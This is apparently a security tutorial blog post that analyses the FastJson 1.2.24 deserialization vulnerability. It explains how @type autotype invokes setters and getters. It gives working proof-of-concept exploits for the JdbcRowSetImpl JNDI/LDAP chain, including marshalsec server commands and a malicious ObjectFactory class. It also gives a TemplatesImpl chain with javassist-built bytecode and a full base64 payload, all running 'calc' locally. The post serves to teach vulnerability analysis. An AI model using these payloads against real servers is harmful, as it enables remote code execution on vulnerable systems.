Article directory
[java security] FastJson deserialization vulnerability analysis
0x00. Preface
We learned about RMI and JNDI before, and then we can learn about FastJson deserialization
0x01. FastJson Overview
FastJson is Alibaba's open source JSON parsing library, which can parse JSON-formatted strings, support serialization of JavaBean to JSON strings, and deserialization of JSON strings to JavaBean
0x02. FastJson uses
First of all, we need to use maven to import a fastjson jar package, here we choose version 1.2.24
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
Serialization and deserialization
First create a standard javabean: User class
package com.leekos.serial;
public class User {
private String name;
private int age;
public User() {
System.out.println("无参构造");
}
public User(String name, int age) {
System.out.println("有参构造");
this.name = name;
this.age = age;
}
public String getName() {
System.out.println("调用了get方法");
return name;
}
public void setName(String name) {
System.out.println("调用了set方法");
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
Test the method in fastjson:
- JSON.toJSONString(obj) convert javabean to json string
- JSON.parse(s) deserializes the json string
- JSON.parseObject(s) deserializes the json string
- JSON.parseObject(s, Object.class) deserializes the json string
public class JsonTest {
public static void main(String[] args) {
User user = new User("leekos",20);
// 序列化
String serializeStr = JSON.toJSONString(user);
System.out.println("serializeStr=" + serializeStr);
System.out.println("------------------------------------------------------------------");
//通过parse方法进行反序列化,返回的是一个JSONObject
Object obj1 = JSON.parse(serializeStr);
System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());
System.out.println("parse反序列化:" + obj1);
System.out.println("------------------------------------------------------------------");
//通过parseObject,不指定类,返回的是一个JSONObject
JSONObject obj2 = JSON.parseObject(serializeStr);
System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());
System.out.println("parseObject反序列化:" + obj2);
System.out.println("------------------------------------------------------------------");
//通过parseObject,指定类后返回的是一个相应的类对象
User obj3 = JSON.parseObject(serializeStr, User.class);
System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());
System.out.println("parseObject反序列化:" + obj3);
}
}
output:
有参构造
调用了get方法
serializeStr={
"age":20,"name":"leekos"}
------------------------------------------------------------------
parse反序列化对象名称:com.alibaba.fastjson.JSONObject
parse反序列化:{
"name":"leekos","age":20}
------------------------------------------------------------------
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{
"name":"leekos","age":20}
------------------------------------------------------------------
无参构造
调用了set方法
parseObject反序列化对象名称:com.leekos.serial.User
parseObject反序列化:User{
name='leekos', age=20}
By observation, we can know: (without SerializerFeature.WriteClassName
parameters)
- The method will be called
JSON.toJSONString(obj)
when the javabean is serializedget()
- The use
JSON.parse(s)
will deserialize the json string intoJSONObject
an object, and it is not really deserialized, and no method is called - The use
JSON.parseObject(s)
will deserialize the json string intoJSONObject
an object, and it is not really deserialized, and no method is called - When we specify that
JSON.parseObject(s,User.class)
the second parameter of the function is the bytecode of the specified class, we can deserialize it correctly and callset()
the method
Through the above analysis, we may think that there is no class-related identifier in the json string, how do we know what type of object the json string deserializes to correspond to?
JSON.toJSONString(obj,SerializerFeature.WriteClassName)
At this time , the second parameter needs to be used . If the parameter is SerializerFeature.WriteClassName
, then when serializing javabeans, the name of the class will be written in the json string and stored in @type
the keyword
Passing in
SerializerFeature.WriteClassName
enables Fastjson to support introspection. After enabling introspection, the data serialized into JSON will have an additional @type, which is the JSON text representing the object type.
Let's change the code above:
String serializeStr = JSON.toJSONString(user,SerializerFeature.WriteClassName);
output:
有参构造
调用了get方法
serializeStr={
"@type":"com.leekos.serial.User","age":20,"name":"leekos"}
------------------------------------------------------------------
无参构造
调用了set方法
parse反序列化对象名称:com.leekos.serial.User
parse反序列化:User{
name='leekos', age=20}
------------------------------------------------------------------
无参构造
调用了set方法
调用了get方法
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{
"name":"leekos","age":20}
------------------------------------------------------------------
无参构造
调用了set方法
parseObject反序列化对象名称:com.leekos.serial.User
parseObject反序列化:User{
name='leekos', age=20}
After analysis, we can know:
- When the deserialization is successful,
parse()
both methodsparseObject()
will be calledset()
JSON.parseObject()
Deserialization will succeed only if the class is specified in the second parameter"@type":"com.leekos.serial.User"
Use the specified class in the string . WhenJSON.parseObject()
the second parameter is used and the second parameter is not specified, the method will be calledset()
,get()
but it will be converted intoJSONObject
an object- Using
JSON.parse()
the method, you cannot use parameters to specify the deserialized class, it@type
deserializes to the specified class by identifying the json string
0x03. Deserialization vulnerability
In fact, there is a very sensitive issue above. If @type
it is malicious, you can do some malicious operations through triggers set()
and methods.get()
The vulnerability is that when fastjson autotype is used to process json objects,
@type
the field is not fully security verified. An attacker can pass in a dangerous class, and call the dangerous class to connect to the remote rmi host, and execute code through the malicious class. In this way, attackers can exploit remote code execution vulnerabilities, obtain sensitive server information disclosure, and even use this vulnerability to further modify, add, and delete server data, causing a huge impact on the server.
Let's write a malicious class first:
package com.leekos.rce;
import java.io.IOException;
public class ExecObj {
private String name;
public ExecObj() {
}
public ExecObj(String name) {
this.name = name;
}
public String getName() {
return name;
}
public void setName(String name) throws IOException {
Runtime.getRuntime().exec("calc");
this.name = name;
}
@Override
public String toString() {
return "ExecObj{" +
"name='" + name + '\'' +
'}';
}
}
After adding it SerializerFeature.WriteClassName
then use JSON.parseObject()
deserialization:
public class Test {
public static void main(String[] args) {
String s = "{\"@type\":\"com.leekos.rce.ExecObj\",\"name\":\"leekos\"}";
Object o = JSON.parseObject(s);
}
}
Successfully invoked set()
method:
0x04. Vulnerability trigger condition
However, certain conditions need to be met in FastJson:
The automatic call of the getter also needs to meet the following conditions:
- Method name length is greater than 4
- non-static method
- Start with get and the fourth letter is uppercase
- No parameter passed in
- The return value type is inherited from Collection Map AtomicBoolean AtomicInteger AtomicLong
The automatic call of the setter needs to meet the following conditions:
- Method name length is greater than 4
- non-static method
- The return value is void or the current class
- Start with set and the fourth letter is uppercase
- The number of parameters is 1
In addition, Fastjson also has the following features:
- If there is no setter method for the private variable in the target class, but you still want to assign a value to this variable when deserializing, you need to use
Feature.SupportNonPublicField
parameters - When fastjson is looking for getter/setter methods for class properties, calling function
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
methods ignores_ -
strings - When fastjson deserializes, if the Field type is byte[],
com.alibaba.fastjson.parser.JSONScanner#bytesValue
base64 decoding will be called, and base64 encoding will also be performed during serialization
0x05. Vulnerability attack method
In the deserialization vulnerability of Fastjson, malicious code is used TemplatesImpl
and JdbcRowSetImpl
constructed to implement command execution. TemplatesImpl
After debugging so many chains before, this class must be familiar to this class. It uses a class loader internally to create a new object. At this time, the malicious code defined in the static code block will be executed. Let's talk about the latter JdbcRowSetImpl
need to use the previous learning JNDI注入
to achieve the attack.
Here are two ways:
TemplatesImpl
chainJdbcRowSetImpl
chain
JdbcRowSetImpl exploit chain
The JNDI injection exploit chain is the most versatile exploit method, which can be used in the following three deserialization methods:
parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)
Here JNDI injection is used JdbcRowSetImpl
, because we need to use JNDI, so let's look it up globallylookup()
The discovery lookup()
will connect()
be called in the function, and the parameters will be passed in this.getDataSourceName()
,
public void setDataSourceName(String var1) throws SQLException {
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
String var2 = this.getDataSourceName();
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
this.propertyChangeSupport.firePropertyChange("dataSourceName", var2, var1);
}
} else {
super.setDataSourceName(var1); //赋值
this.propertyChangeSupport.firePropertyChange("dataSourceName", (Object)null, var1);
}
}
setDataSourceName()
A function assigns dataSourceName
a value, and this function is setxxx()
a form. dataSourceName
controllable
Then we need to find where connect()
the function can be called, and this function is setxxx()
of the form:
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
If you find one setAutoCommit()
, you can simply construct a json string
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
//调用com.sun.rowset.JdbcRowSetImpl函数中的setdataSourceName函数 传入参数"ldap://127.0.0.1:1389/Exploit"
"dataSourceName":"ldap://127.0.0.1:1389/Exploit",
"autoCommit":true // 之后再调用setAutoCommit函数,传入true
}
Demo
public class Demo {
public static void main(String[] args) {
String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/leekos\",\"autoCommit\":true}";
JSON.parse(exp);
}
}
First, let's use the plug-in: marshalsec
start an ldap service:
(here the url points to the local EvilClass.class
file at port 8090)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#EvilClass
Then python starts an http service (port 8090), and there is a EvilClass.class
file in the directory:
python3 -m http.server 8090
EvilClass.java source code
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class EvilClass implements ObjectFactory {
static {
System.out.println("hello,static~");
}
public EvilClass() throws IOException {
System.out.println("constructor~");
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("calc");
System.out.println("hello,getObjectInstance~");
return null;
}
}
Use javac (jdk7u21) to compile here
run:
TemplatesImpl utilizes the chain
Vulnerability version
fastjson 1.22-1.24
POC
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;
public class Test {
//最终执行payload的类的原始模型
//ps.要payload在static模块中执行的话,原始模型需要用static方式。
public static class lala{
}
//返回一个在实例化过程中执行任意代码的恶意类的byte码
//如果对于这部分生成原理不清楚,参考以前的文章
public static byte[] getevilbyte() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(lala.class.getName());
//要执行的最终命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
//之前说的静态初始化块和构造方法均可,这边用静态方法
cc.makeClassInitializer().insertBefore(cmd);
// CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
// cons.setBody("{"+cmd+"}");
// cc.addConstructor(cons);
//设置不重复的类名
String randomClassName = "LaLa"+System.nanoTime();
cc.setName(randomClassName);
//设置满足条件的父类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
//获取字节码
return cc.toBytecode();
}
//生成payload,触发payload
public static void poc() throws Exception {
//生成攻击payload
byte[] evilCode = getevilbyte();//生成恶意类的字节码
String evilCode_base64 = Base64.encodeBase64String(evilCode);//使用base64封装
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{"+
"\"@type\":\"" + NASTY_CLASS +"\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"'_name':'a.b',"+
"'_tfactory':{ },"+
"'_outputProperties':{ }"+
"}\n";
//此处删除了一些我觉得没有用的参数(第二个_name,_version,allowedProtocols),并没有发现有什么影响
System.out.println(text1);
//服务端触发payload
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
//Object obj = JSON.parseObject(text1, Feature.SupportNonPublicField);
}
//main函数调用以下poc
public static void main(String[] args){
try {
poc();
} catch (Exception e) {
e.printStackTrace();
}
}
}
Let's execute it and pop up the calculator:
JSON string:
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARsYWxhAQAMSW5uZXJDbGFzc2VzAQAsTGNvbS9sZWVrb3MvRmFzdEpzb25UZW1wbGF0ZXNJbXBsL1Rlc3QkbGFsYTsBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAEAAUHABMBACpjb20vbGVla29zL0Zhc3RKc29uVGVtcGxhdGVzSW1wbC9UZXN0JGxhbGEBABBqYXZhL2xhbmcvT2JqZWN0AQAlY29tL2xlZWtvcy9GYXN0SnNvblRlbXBsYXRlc0ltcGwvVGVzdAEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAEkxhTGE0Mjk4NDA5NDYzMzcwMAEAFExMYUxhNDI5ODQwOTQ2MzM3MDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAEAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],'_name':'a.b','_tfactory':{
},'_outputProperties':{
}}
Vulnerability analysis
Using TemplatesImpl
the form of a chain to trigger the FastJson deserialization exploit requires harsh conditions
- When using the server
JSON.parse()
, you needJSON.parse(s,Feature.SupportNonPublicField);
- When the server uses parseObject(), the following format must be used to trigger the vulnerability:
JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
、JSON.parseObject(input, Feature.SupportNonPublicField);
Because some attributes that the payload needs to be assigned are private
attributes, the server must add features to restore the data of the private attribute in json
In fact, according to the above poc, we will have several questions:
_bytecodes
Why do so many values need to be constructed if detachment inserts malicious code_bytecodes
Why is the value in base64 encrypted- Why do serialization add
Feature.SupportNonPublicField
parameter values
- @type : It is used to store the target type during deserialization.
TemplatesImpl
This class is specified here. Fastjson will deserialize according to this class to obtain an instance. Because thegetOutputProperties
method is called, the incoming bytecodes class is instantiated, resulting in command execution. It should be noted that Fastjson will only deserialize public modified properties by default, outputProperties and _bytecodes areprivate
modified and must be addedFeature.SupportNonPublicField
to parseObject to trigger; - _bytecodes: Inherit
AbstractTranslet
the malicious class bytecode of the class, and useBase64
the encoding - _name:
getTransletInstance
When calling , it will be judged whether it is null, if it is null, it will be returned directly, and it will not be executed, and the utilization chain will be broken. Please refer to the cc2 and cc4 chains. - _tfactory:
defineTransletClasses
its method will be calledgetExternalExtensionsMap
, if it is null, an exception will occur, but when analyzing the jdk7u21 chain, some jdk did not find this method. - outputProperties: The key parameters when exploiting the vulnerability. Because Fastjson will call its method during the deserialization process
getOutputProperties
,bytecodes
the bytecode will be successfully instantiated and the command will be executed.
The reason why the aforementioned addition Feature.SupportNonPublicField
can be triggered is because Feature.SupportNonPublicField
the function is to support deserialization of properties protected by non-public modifiers, and serialization of private properties in Fastjson.